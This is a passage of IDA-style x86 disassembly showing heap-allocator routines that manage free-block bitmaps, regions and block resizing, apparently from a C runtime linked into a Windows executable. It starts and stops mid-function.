		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41AECF
		mov	edx, esi


loc_41AECF:				; CODE XREF: sub_41ADB4+117j
		cmp	ebx, edx
		jz	short loc_41AF36
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41AF1E
		cmp	ebx, 20h
		jnb	short loc_41AEFF
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41AF1E
; ---------------------------------------------------------------------------


loc_41AEFF:				; CODE XREF: sub_41ADB4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41AF1E:				; CODE XREF: sub_41ADB4+128j
					; sub_41ADB4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41AF36:				; CODE XREF: sub_41ADB4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AF3E
; ---------------------------------------------------------------------------


loc_41AF3B:				; CODE XREF: sub_41ADB4+EDj
		mov	ebx, [ebp+arg_0]


loc_41AF3E:				; CODE XREF: sub_41ADB4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AF4C
		cmp	ebx, edx
		jz	loc_41AFCD


loc_41AF4C:				; CODE XREF: sub_41ADB4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41AFCD
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41AFA4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AF93
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41AF93:				; CODE XREF: sub_41ADB4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41AFCD
; ---------------------------------------------------------------------------


loc_41AFA4:				; CODE XREF: sub_41ADB4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AFBA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41AFBA:				; CODE XREF: sub_41ADB4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41AFCD:				; CODE XREF: sub_41ADB4+192j
					; sub_41ADB4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41B0D8
		mov	eax, dword_4CF014
		test	eax, eax
		jz	loc_41B0CA
		mov	ecx, dword_4CF00C
		mov	esi, dword_4241B0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4CF00C
		mov	eax, dword_4CF014
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4CF014
		mov	ecx, dword_4CF00C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4CF014
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4CF014
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41B05B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4CF014


loc_41B05B:				; CODE XREF: sub_41ADB4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41B0CA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4CF014
		push	dword ptr [eax+10h]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2710366h
		mov	eax, dword_4CF018
		mov	edx, dword_4CF01C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4CF014
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4182C0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4CF018
		cmp	eax, dword_4CF014
		jbe	short loc_41B0C0
		sub	[ebp+arg_0], 14h


loc_41B0C0:				; CODE XREF: sub_41ADB4+306j
		mov	eax, dword_4CF01C
		mov	dword_4CF010, eax


loc_41B0CA:				; CODE XREF: sub_41ADB4+234j
					; sub_41ADB4+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4CF00C, edi
		mov	dword_4CF014, eax


loc_41B0D8:				; CODE XREF: sub_41ADB4+38j
					; sub_41ADB4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0DD	proc near		; CODE XREF: sub_417BC7+18p
					; sub_41944F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4CF018
		mov	edx, dword_4CF01C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41B11D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41B12D
; ---------------------------------------------------------------------------


loc_41B11D:				; CODE XREF: sub_41B0DD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41B12D:				; CODE XREF: sub_41B0DD+3Ej
		mov	eax, dword_4CF010
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B154


loc_41B13B:				; CODE XREF: sub_41B0DD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B154
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41B13B


loc_41B154:				; CODE XREF: sub_41B0DD+5Cj
					; sub_41B0DD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41B1D2
		mov	ebx, edx


loc_41B15B:				; CODE XREF: sub_41B0DD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B177
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B175
		add	ebx, 14h
		jmp	short loc_41B15B
; ---------------------------------------------------------------------------


loc_41B175:				; CODE XREF: sub_41B0DD+91j
		cmp	ebx, eax


loc_41B177:				; CODE XREF: sub_41B0DD+83j
		jnz	short loc_41B1D2


loc_41B179:				; CODE XREF: sub_41B0DD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41B18F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B18C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41B179
; ---------------------------------------------------------------------------


loc_41B18C:				; CODE XREF: sub_41B0DD+A5j
		cmp	ebx, [ebp+var_4]


loc_41B18F:				; CODE XREF: sub_41B0DD+9Fj
		jnz	short loc_41B1B7
		mov	ebx, edx


loc_41B193:				; CODE XREF: sub_41B0DD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B1A7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B1A5
		add	ebx, 14h
		jmp	short loc_41B193
; ---------------------------------------------------------------------------


loc_41B1A5:				; CODE XREF: sub_41B0DD+C1j
		cmp	ebx, eax


loc_41B1A7:				; CODE XREF: sub_41B0DD+BBj
		jnz	short loc_41B1B7
		call	sub_41B3E6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41B1CB


loc_41B1B7:				; CODE XREF: sub_41B0DD:loc_41B18Fj
					; sub_41B0DD:loc_41B1A7j
		push	ebx
		call	sub_41B497
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B1D2


loc_41B1CB:				; CODE XREF: sub_41B0DD+D8j
		xor	eax, eax
		jmp	loc_41B3E1
; ---------------------------------------------------------------------------


loc_41B1D2:				; CODE XREF: sub_41B0DD+7Aj
					; sub_41B0DD:loc_41B177j ...
		mov	dword_4CF010, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41B1F9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B230


loc_41B1F9:				; CODE XREF: sub_41B0DD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41B22D


loc_41B216:				; CODE XREF: sub_41B0DD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41B216


loc_41B22D:				; CODE XREF: sub_41B0DD+137j
		mov	edx, [ebp+var_4]


loc_41B230:				; CODE XREF: sub_41B0DD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41B259
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41B259:				; CODE XREF: sub_41B0DD+16Dj
					; sub_41B0DD+183j
		test	ecx, ecx
		jl	short loc_41B262
		shl	ecx, 1
		inc	edi
		jmp	short loc_41B259
; ---------------------------------------------------------------------------


loc_41B262:				; CODE XREF: sub_41B0DD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41B27F
		push	3Fh
		pop	esi


loc_41B27F:				; CODE XREF: sub_41B0DD+19Dj
		cmp	esi, edi
		jz	loc_41B394
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B2F0
		cmp	edi, 20h
		jge	short loc_41B2BF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------


loc_41B2BF:				; CODE XREF: sub_41B0DD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------


loc_41B2ED:				; CODE XREF: sub_41B0DD+1D6j
					; sub_41B0DD+203j
		mov	ebx, [ebp+arg_0]


loc_41B2F0:				; CODE XREF: sub_41B0DD+1B0j
					; sub_41B0DD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B3A0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B391
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B362
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B350
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41B350:				; CODE XREF: sub_41B0DD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B391
; ---------------------------------------------------------------------------


loc_41B362:				; CODE XREF: sub_41B0DD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B37B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41B37B:				; CODE XREF: sub_41B0DD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41B391:				; CODE XREF: sub_41B0DD+24Ej
					; sub_41B0DD+283j
		mov	ecx, [ebp+var_8]


loc_41B394:				; CODE XREF: sub_41B0DD+1A4j
		test	ecx, ecx
		jz	short loc_41B3A3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B3A3
; ---------------------------------------------------------------------------


loc_41B3A0:				; CODE XREF: sub_41B0DD+229j
		mov	ecx, [ebp+var_8]


loc_41B3A3:				; CODE XREF: sub_41B0DD+2B9j
					; sub_41B0DD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B3D9
		cmp	ebx, dword_4CF014
		jnz	short loc_41B3D9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4CF00C
		jnz	short loc_41B3D9
		and	dword_4CF014, 0


loc_41B3D9:				; CODE XREF: sub_41B0DD+2E0j
					; sub_41B0DD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41B3E1:				; CODE XREF: sub_41B0DD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3E6	proc near		; CODE XREF: sub_41B0DD+CCp
		mov	eax, dword_4CF018
		mov	ecx, dword_4CF008
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B429
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4CF01C
		push	edi
		push	dword_4CF024
		nop
		call	near ptr 2830000h
		cmp	eax, edi
		jz	short loc_41B479
		add	dword_4CF008, 10h
		mov	dword_4CF01C, eax
		mov	eax, dword_4CF018


loc_41B429:				; CODE XREF: sub_41B3E6+11j
		mov	ecx, dword_4CF01C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4CF024
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 2720000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B479
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2851801h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B47D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4CF024
		nop
		call	near ptr 2710366h


loc_41B479:				; CODE XREF: sub_41B3E6+30j
					; sub_41B3E6+67j
		xor	eax, eax
		jmp	short loc_41B494
; ---------------------------------------------------------------------------


loc_41B47D:				; CODE XREF: sub_41B3E6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4CF018
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41B494:				; CODE XREF: sub_41B3E6+95j
		pop	edi
		pop	esi
		retn
sub_41B3E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B497	proc near		; CODE XREF: sub_41B0DD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41B4A9:				; CODE XREF: sub_41B497+19j
		test	eax, eax
		jl	short loc_41B4B2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B4A9
; ---------------------------------------------------------------------------


loc_41B4B2:				; CODE XREF: sub_41B497+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41B4C7:				; CODE XREF: sub_41B497+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B4C7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2851801h
		test	eax, eax
		jnz	short loc_41B4FA
		or	eax, 0FFFFFFFFh
		jmp	loc_41B58D
; ---------------------------------------------------------------------------


loc_41B4FA:				; CODE XREF: sub_41B497+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B540
		lea	eax, [edi+10h]


loc_41B507:				; CODE XREF: sub_41B497+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B507


loc_41B540:				; CODE XREF: sub_41B497+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B57D
		or	[eax+4], edi


loc_41B57D:				; CODE XREF: sub_41B497+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41B58D:				; CODE XREF: sub_41B497+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B592	proc near		; CODE XREF: sub_41944F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B740
		test	bl, 1
		jnz	loc_41B739
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B739
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B609
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41B609:				; CODE XREF: sub_41B592+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B659
		cmp	ecx, 20h
		jnb	short loc_41B635
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B659
; ---------------------------------------------------------------------------


loc_41B635:				; CODE XREF: sub_41B592+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B659:				; CODE XREF: sub_41B592+7Dj
					; sub_41B592+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B727
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B693
		push	3Fh
		pop	edi


loc_41B693:				; CODE XREF: sub_41B592+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B715
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B6EC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B6DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41B6DF:				; CODE XREF: sub_41B592+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B711
; ---------------------------------------------------------------------------


loc_41B6EC:				; CODE XREF: sub_41B592+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B702
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41B702:				; CODE XREF: sub_41B592+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41B711:				; CODE XREF: sub_41B592+158j
		shr	edx, cl
		or	[eax], edx


loc_41B715:				; CODE XREF: sub_41B592+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B72A
; ---------------------------------------------------------------------------


loc_41B727:				; CODE XREF: sub_41B592+E5j
		mov	edx, [ebp+arg_4]


loc_41B72A:				; CODE XREF: sub_41B592+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B880
; ---------------------------------------------------------------------------


loc_41B739:				; CODE XREF: sub_41B592+52j
					; sub_41B592+5Cj
		xor	eax, eax
		jmp	loc_41B883
; ---------------------------------------------------------------------------


loc_41B740:				; CODE XREF: sub_41B592+49j
		jge	loc_41B880
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B76B
		push	3Fh
		pop	esi


loc_41B76B:				; CODE XREF: sub_41B592+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B7FA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B784
		push	3Fh
		pop	esi


loc_41B784:				; CODE XREF: sub_41B592+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B7D3
		cmp	esi, 20h
		jnb	short loc_41B7AF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B7D0
; ---------------------------------------------------------------------------


loc_41B7AF:				; CODE XREF: sub_41B592+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B7D0:				; CODE XREF: sub_41B592+214j
					; sub_41B592+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41B7D3:				; CODE XREF: sub_41B592+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B7FA
		push	3Fh
		pop	esi


loc_41B7FA:				; CODE XREF: sub_41B592+1DDj
					; sub_41B592+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B877
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B84E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B841
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41B841:				; CODE XREF: sub_41B592+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41B873
